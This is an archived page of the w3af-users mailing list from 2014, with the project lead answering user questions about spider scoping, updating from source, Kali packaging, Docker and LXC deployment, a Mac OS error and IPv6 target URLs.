thanks, it is clear and works On Mon, Sep 8, 2014 at 4:47 PM, Andres Riancho <and...@gm...> wrote: > Thanks for asking, I've added a new section to the docs to address this: > http://docs.w3af.org/en/develop/common-use-cases.html > > Please let me know if the docs are clear. > > On Sun, Sep 7, 2014 at 4:44 AM, Ali Khalfan <ali...@gm...> wrote: > > Is there a way I can force the Web_spider plug-in to only check a > specific > > directory and not leave it. Example: if I want to scan > www.domain.com/dir1 I > > do not want leave the dir1 directory > > > > > > Ali > > -- > > Sent from my Android device with K-9 Mail. Please excuse my brevity. > > > ------------------------------------------------------------------------------ > > Slashdot TV. > > Video for Nerds. Stuff that matters. > > http://tv.slashdot.org/ > > _______________________________________________ > > W3af-users mailing list > > W3a...@li... > > https://lists.sourceforge.net/lists/listinfo/w3af-users > > > > > > -- > Andrés Riancho > Project Leader at w3af - http://w3af.org/ > Web Application Attack and Audit Framework > Twitter: @w3af > GPG: 0x93C344F3 > |
|
From: Andres R. <and...@gm...> - 2014-09-08 13:47:53
|
Thanks for asking, I've added a new section to the docs to address this:
http://docs.w3af.org/en/develop/common-use-cases.html
Please let me know if the docs are clear.
On Sun, Sep 7, 2014 at 4:44 AM, Ali Khalfan <ali...@gm...> wrote:
> Is there a way I can force the Web_spider plug-in to only check a specific
> directory and not leave it. Example: if I want to scan www.domain.com/dir1 I
> do not want leave the dir1 directory
>
>
> Ali
> --
> Sent from my Android device with K-9 Mail. Please excuse my brevity.
> ------------------------------------------------------------------------------
> Slashdot TV.
> Video for Nerds. Stuff that matters.
> http://tv.slashdot.org/
> _______________________________________________
> W3af-users mailing list
> W3a...@li...
> https://lists.sourceforge.net/lists/listinfo/w3af-users
>
--
Andrés Riancho
Project Leader at w3af - http://w3af.org/
Web Application Attack and Audit Framework
Twitter: @w3af
GPG: 0x93C344F3
|
|
From: Ali K. <ali...@gm...> - 2014-09-07 07:44:57
|
Is there a way I can force the Web_spider plug-in to only check a specific directory and not leave it. Example: if I want to scan www.domain.com/dir1 I do not want leave the dir1 directory Ali -- Sent from my Android device with K-9 Mail. Please excuse my brevity. |
|
From: Andrew K. <aki...@gm...> - 2014-09-05 22:32:32
|
Just a note: if you're using LXC or docker containers, the host OS shouldn't matter. Ultimately, the overlay filesystem differences should handle all the niggly bits. So, packaging head/devel won't exist any more when these are working. I'ld choose to use those to deploy instead of a package manager if you have the disk space to spare. On Fri, Sep 5, 2014 at 5:40 PM, Andres Riancho <and...@gm...> wrote: > Hah, yes, but that also requires effort to setup, and also is really > platform specific. > > More than happy if you want to finish the work I started in the > w3af-kali [0] repository. The next step would be to completely > automate the steps explained in the README.md file, potentially using > the docker in docker support provided by CircleCI which allows us to > run a Kali VM to create and test the .deb package. > > [0] https://github.com/andresriancho/w3af-kali > > On Fri, Sep 5, 2014 at 5:57 PM, Andrew King <aki...@gm...> > wrote: > > That's what source tracked auto-builds in PPAs are for... > > > > > > On Fri, Sep 5, 2014 at 8:43 AM, Andres Riancho <and...@gm... > > > > wrote: > >> > >> There's no Kali package for these latest changes yet, but it should > >> work well if you "install from source" [0] > >> > >> [0] http://docs.w3af.org/en/latest/install.html#id1 > >> > >> On Fri, Sep 5, 2014 at 9:36 AM, Ali Khalfan <ali...@gm...> > wrote: > >> > kali? > >> > > >> > > >> > > >> > On 09/05/2014 03:14 PM, Andres Riancho wrote: > >> >> List, > >> >> > >> >> Just pushed a lot of changes to w3af's master branch. > >> >> > >> >> If you run "./w3af_console --force-update" or "git pull" you'll > >> >> get the latest and greatest from the repository. > >> >> > >> >> The code I've been working on is mostly bug fixes for the 1.6.1 > >> >> milestone [0], which has now 23 open issues and last week had 75, and > >> >> also worked on a new feature which allows users to limit the number > of > >> >> HTTP requests per second to be sent to the server. > >> >> > >> >> Give it a try, test it, read the code changes, and if possible > >> >> send me some feedback. Thanks! > >> >> > >> >> [0] > >> >> > https://github.com/andresriancho/w3af/issues?q=is%3Aopen+is%3Aissue+milestone%3A%221.6.1+-+Bug+fixing+after+1.6%22 > >> >> > >> >> Regards, > >> >> > >> > > >> > > >> > > ------------------------------------------------------------------------------ > >> > Slashdot TV. > >> > Video for Nerds. Stuff that matters. > >> > http://tv.slashdot.org/ > >> > _______________________________________________ > >> > W3af-users mailing list > >> > W3a...@li... > >> > https://lists.sourceforge.net/lists/listinfo/w3af-users > >> > >> > >> > >> -- > >> Andrés Riancho > >> Project Leader at w3af - http://w3af.org/ > >> Web Application Attack and Audit Framework > >> Twitter: @w3af > >> GPG: 0x93C344F3 > >> > >> > >> > ------------------------------------------------------------------------------ > >> Slashdot TV. > >> Video for Nerds. Stuff that matters. > >> http://tv.slashdot.org/ > >> _______________________________________________ > >> W3af-users mailing list > >> W3a...@li... > >> https://lists.sourceforge.net/lists/listinfo/w3af-users > > > > > > > > -- > Andrés Riancho > Project Leader at w3af - http://w3af.org/ > Web Application Attack and Audit Framework > Twitter: @w3af > GPG: 0x93C344F3 > |
|
From: Andres R. <and...@gm...> - 2014-09-05 21:41:23
|
Hah, yes, but that also requires effort to setup, and also is really platform specific. More than happy if you want to finish the work I started in the w3af-kali [0] repository. The next step would be to completely automate the steps explained in the README.md file, potentially using the docker in docker support provided by CircleCI which allows us to run a Kali VM to create and test the .deb package. [0] https://github.com/andresriancho/w3af-kali On Fri, Sep 5, 2014 at 5:57 PM, Andrew King <aki...@gm...> wrote: > That's what source tracked auto-builds in PPAs are for... > > > On Fri, Sep 5, 2014 at 8:43 AM, Andres Riancho <and...@gm...> > wrote: >> >> There's no Kali package for these latest changes yet, but it should >> work well if you "install from source" [0] >> >> [0] http://docs.w3af.org/en/latest/install.html#id1 >> >> On Fri, Sep 5, 2014 at 9:36 AM, Ali Khalfan <ali...@gm...> wrote: >> > kali? >> > >> > >> > >> > On 09/05/2014 03:14 PM, Andres Riancho wrote: >> >> List, >> >> >> >> Just pushed a lot of changes to w3af's master branch. >> >> >> >> If you run "./w3af_console --force-update" or "git pull" you'll >> >> get the latest and greatest from the repository. >> >> >> >> The code I've been working on is mostly bug fixes for the 1.6.1 >> >> milestone [0], which has now 23 open issues and last week had 75, and >> >> also worked on a new feature which allows users to limit the number of >> >> HTTP requests per second to be sent to the server. >> >> >> >> Give it a try, test it, read the code changes, and if possible >> >> send me some feedback. Thanks! >> >> >> >> [0] >> >> https://github.com/andresriancho/w3af/issues?q=is%3Aopen+is%3Aissue+milestone%3A%221.6.1+-+Bug+fixing+after+1.6%22 >> >> >> >> Regards, >> >> >> > >> > >> > ------------------------------------------------------------------------------ >> > Slashdot TV. >> > Video for Nerds. Stuff that matters. >> > http://tv.slashdot.org/ >> > _______________________________________________ >> > W3af-users mailing list >> > W3a...@li... >> > https://lists.sourceforge.net/lists/listinfo/w3af-users >> >> >> >> -- >> Andrés Riancho >> Project Leader at w3af - http://w3af.org/ >> Web Application Attack and Audit Framework >> Twitter: @w3af >> GPG: 0x93C344F3 >> >> >> ------------------------------------------------------------------------------ >> Slashdot TV. >> Video for Nerds. Stuff that matters. >> http://tv.slashdot.org/ >> _______________________________________________ >> W3af-users mailing list >> W3a...@li... >> https://lists.sourceforge.net/lists/listinfo/w3af-users > > -- Andrés Riancho Project Leader at w3af - http://w3af.org/ Web Application Attack and Audit Framework Twitter: @w3af GPG: 0x93C344F3 |
|
From: Andrew K. <aki...@gm...> - 2014-09-05 20:57:21
|
That's what source tracked auto-builds in PPAs are for... On Fri, Sep 5, 2014 at 8:43 AM, Andres Riancho <and...@gm...> wrote: > There's no Kali package for these latest changes yet, but it should > work well if you "install from source" [0] > > [0] http://docs.w3af.org/en/latest/install.html#id1 > > On Fri, Sep 5, 2014 at 9:36 AM, Ali Khalfan <ali...@gm...> wrote: > > kali? > > > > > > > > On 09/05/2014 03:14 PM, Andres Riancho wrote: > >> List, > >> > >> Just pushed a lot of changes to w3af's master branch. > >> > >> If you run "./w3af_console --force-update" or "git pull" you'll > >> get the latest and greatest from the repository. > >> > >> The code I've been working on is mostly bug fixes for the 1.6.1 > >> milestone [0], which has now 23 open issues and last week had 75, and > >> also worked on a new feature which allows users to limit the number of > >> HTTP requests per second to be sent to the server. > >> > >> Give it a try, test it, read the code changes, and if possible > >> send me some feedback. Thanks! > >> > >> [0] > https://github.com/andresriancho/w3af/issues?q=is%3Aopen+is%3Aissue+milestone%3A%221.6.1+-+Bug+fixing+after+1.6%22 > >> > >> Regards, > >> > > > > > ------------------------------------------------------------------------------ > > Slashdot TV. > > Video for Nerds. Stuff that matters. > > http://tv.slashdot.org/ > > _______________________________________________ > > W3af-users mailing list > > W3a...@li... > > https://lists.sourceforge.net/lists/listinfo/w3af-users > > > > -- > Andrés Riancho > Project Leader at w3af - http://w3af.org/ > Web Application Attack and Audit Framework > Twitter: @w3af > GPG: 0x93C344F3 > > > ------------------------------------------------------------------------------ > Slashdot TV. > Video for Nerds. Stuff that matters. > http://tv.slashdot.org/ > _______________________________________________ > W3af-users mailing list > W3a...@li... > https://lists.sourceforge.net/lists/listinfo/w3af-users > |
|
From: Andres R. <and...@gm...> - 2014-09-05 12:43:28
|
There's no Kali package for these latest changes yet, but it should work well if you "install from source" [0] [0] http://docs.w3af.org/en/latest/install.html#id1 On Fri, Sep 5, 2014 at 9:36 AM, Ali Khalfan <ali...@gm...> wrote: > kali? > > > > On 09/05/2014 03:14 PM, Andres Riancho wrote: >> List, >> >> Just pushed a lot of changes to w3af's master branch. >> >> If you run "./w3af_console --force-update" or "git pull" you'll >> get the latest and greatest from the repository. >> >> The code I've been working on is mostly bug fixes for the 1.6.1 >> milestone [0], which has now 23 open issues and last week had 75, and >> also worked on a new feature which allows users to limit the number of >> HTTP requests per second to be sent to the server. >> >> Give it a try, test it, read the code changes, and if possible >> send me some feedback. Thanks! >> >> [0] https://github.com/andresriancho/w3af/issues?q=is%3Aopen+is%3Aissue+milestone%3A%221.6.1+-+Bug+fixing+after+1.6%22 >> >> Regards, >> > > ------------------------------------------------------------------------------ > Slashdot TV. > Video for Nerds. Stuff that matters. > http://tv.slashdot.org/ > _______________________________________________ > W3af-users mailing list > W3a...@li... > https://lists.sourceforge.net/lists/listinfo/w3af-users -- Andrés Riancho Project Leader at w3af - http://w3af.org/ Web Application Attack and Audit Framework Twitter: @w3af GPG: 0x93C344F3 |
|
From: Ali K. <ali...@gm...> - 2014-09-05 12:36:48
|
kali? On 09/05/2014 03:14 PM, Andres Riancho wrote: > List, > > Just pushed a lot of changes to w3af's master branch. > > If you run "./w3af_console --force-update" or "git pull" you'll > get the latest and greatest from the repository. > > The code I've been working on is mostly bug fixes for the 1.6.1 > milestone [0], which has now 23 open issues and last week had 75, and > also worked on a new feature which allows users to limit the number of > HTTP requests per second to be sent to the server. > > Give it a try, test it, read the code changes, and if possible > send me some feedback. Thanks! > > [0] https://github.com/andresriancho/w3af/issues?q=is%3Aopen+is%3Aissue+milestone%3A%221.6.1+-+Bug+fixing+after+1.6%22 > > Regards, > |
|
From: Andres R. <and...@gm...> - 2014-09-05 12:15:26
|
List,
Just pushed a lot of changes to w3af's master branch.
If you run "./w3af_console --force-update" or "git pull" you'll
get the latest and greatest from the repository.
The code I've been working on is mostly bug fixes for the 1.6.1
milestone [0], which has now 23 open issues and last week had 75, and
also worked on a new feature which allows users to limit the number of
HTTP requests per second to be sent to the server.
Give it a try, test it, read the code changes, and if possible
send me some feedback. Thanks!
[0] https://github.com/andresriancho/w3af/issues?q=is%3Aopen+is%3Aissue+milestone%3A%221.6.1+-+Bug+fixing+after+1.6%22
Regards,
--
Andrés Riancho
Project Leader at w3af - http://w3af.org/
Web Application Attack and Audit Framework
Twitter: @w3af
GPG: 0x93C344F3
|
|
From: Andres R. <and...@gm...> - 2014-09-03 13:36:23
|
List,
Anyone else seeing this [0] "An uncaught exception was raised"
_setFrameworkScaleFactor error in Mac OS? Please comment on the github
issue
[0] https://github.com/andresriancho/w3af/issues/3953
Regards,
--
Andrés Riancho
Project Leader at w3af - http://w3af.org/
Web Application Attack and Audit Framework
Twitter: @w3af
GPG: 0x93C344F3
|
|
From: Andres R. <and...@gm...> - 2014-08-25 12:05:24
|
Antonios,
Well, then it seems that ipv6 is not supported :)
Not sure about this but... have you tested with a URL which
contains a domain name which resolves to an ipv6 address? That might
work. You can easily test that setting the domain in /etc/hosts, let
us know how that goes.
Regards,
On Sat, Aug 23, 2014 at 12:03 PM, Antonios Atlasis
<ant...@gm...> wrote:
> Hi,
>
> a quick question. Does w3af supports IPv6?
>
> I tried to specify a target as
> http://[http://fdf3:f0c0:2567:7fe4:a00:27ff:fe74:ddaa] and I receive an
> "Invalid URL ..." error message.
>
> Thanks in advance
>
> Antonios
>
> ------------------------------------------------------------------------------
> Slashdot TV.
> Video for Nerds. Stuff that matters.
> http://tv.slashdot.org/
> _______________________________________________
> W3af-users mailing list
> W3a...@li...
> https://lists.sourceforge.net/lists/listinfo/w3af-users
>
--
Andrés Riancho
Project Leader at w3af - http://w3af.org/
Web Application Attack and Audit Framework
Twitter: @w3af
GPG: 0x93C344F3
|
|
From: Antonios A. <ant...@gm...> - 2014-08-23 15:03:43
|
Hi, a quick question. Does w3af supports IPv6? I tried to specify a target as http:// [http://fdf3:f0c0:2567:7fe4:a00:27ff:fe74:ddaa] and I receive an "Invalid URL ..." error message. Thanks in advance Antonios |
|
From: Andres R. <and...@gm...> - 2014-08-19 11:53:37
|
PS: The TODO for the docker image can be found here [0] [0] https://registry.hub.docker.com/u/andresriancho/w3af/ On Tue, Aug 19, 2014 at 8:51 AM, Andres Riancho <and...@gm...> wrote: > Andrew, > > Please read inline, > > On Mon, Aug 18, 2014 at 9:41 PM, Andrew King <aki...@gm...> wrote: >> Is everyone set on docker or is pure LXC okay too? >> >> Docker seems neat, but it's changing pretty rapidly. LXC has been around >> for a while now, and it seems a little more stable for the time being. >> >> Both are options, but I was just wondering about the whys on the decision. > > First of all, it's important to note that w3af won't be > exclusively deployed/released via docker, users will still be able to > download and install it in their operating systems. > > Now that's clear, lets analyze why docker :) First of all, docker > is easy to use by defining a Dockerfile [0] and it provides a public > registry [1] where we can automatically build docker images on each > push to our repository. Also, docker has received a lot of attention > lately and some users do already know how to use it, etc. this is > different from lxc which is great but not as popular. > > There is also a pull request for w3af / vagrant, which will be > merged after I test it. This means that I'm not picking one solution > and sticking with it, we're mostly experimenting with the most popular > ones and maybe in a year decide which one is the best for w3af. > > If you would like to help with the docker and/or vagrant stuff, > we're more than glad to see pull-requests :) > > [0] https://github.com/andresriancho/w3af/blob/develop/extras/Dockerfile > [1] https://registry.hub.docker.com/u/andresriancho/w3af/ > >> ------------------------------------------------------------------------------ >> >> _______________________________________________ >> W3af-users mailing list >> W3a...@li... >> https://lists.sourceforge.net/lists/listinfo/w3af-users >> > > > > -- > Andrés Riancho > Project Leader at w3af - http://w3af.org/ > Web Application Attack and Audit Framework > Twitter: @w3af > GPG: 0x93C344F3 -- Andrés Riancho Project Leader at w3af - http://w3af.org/ Web Application Attack and Audit Framework Twitter: @w3af GPG: 0x93C344F3 |
27 messages has been excluded from this view by a project administrator.
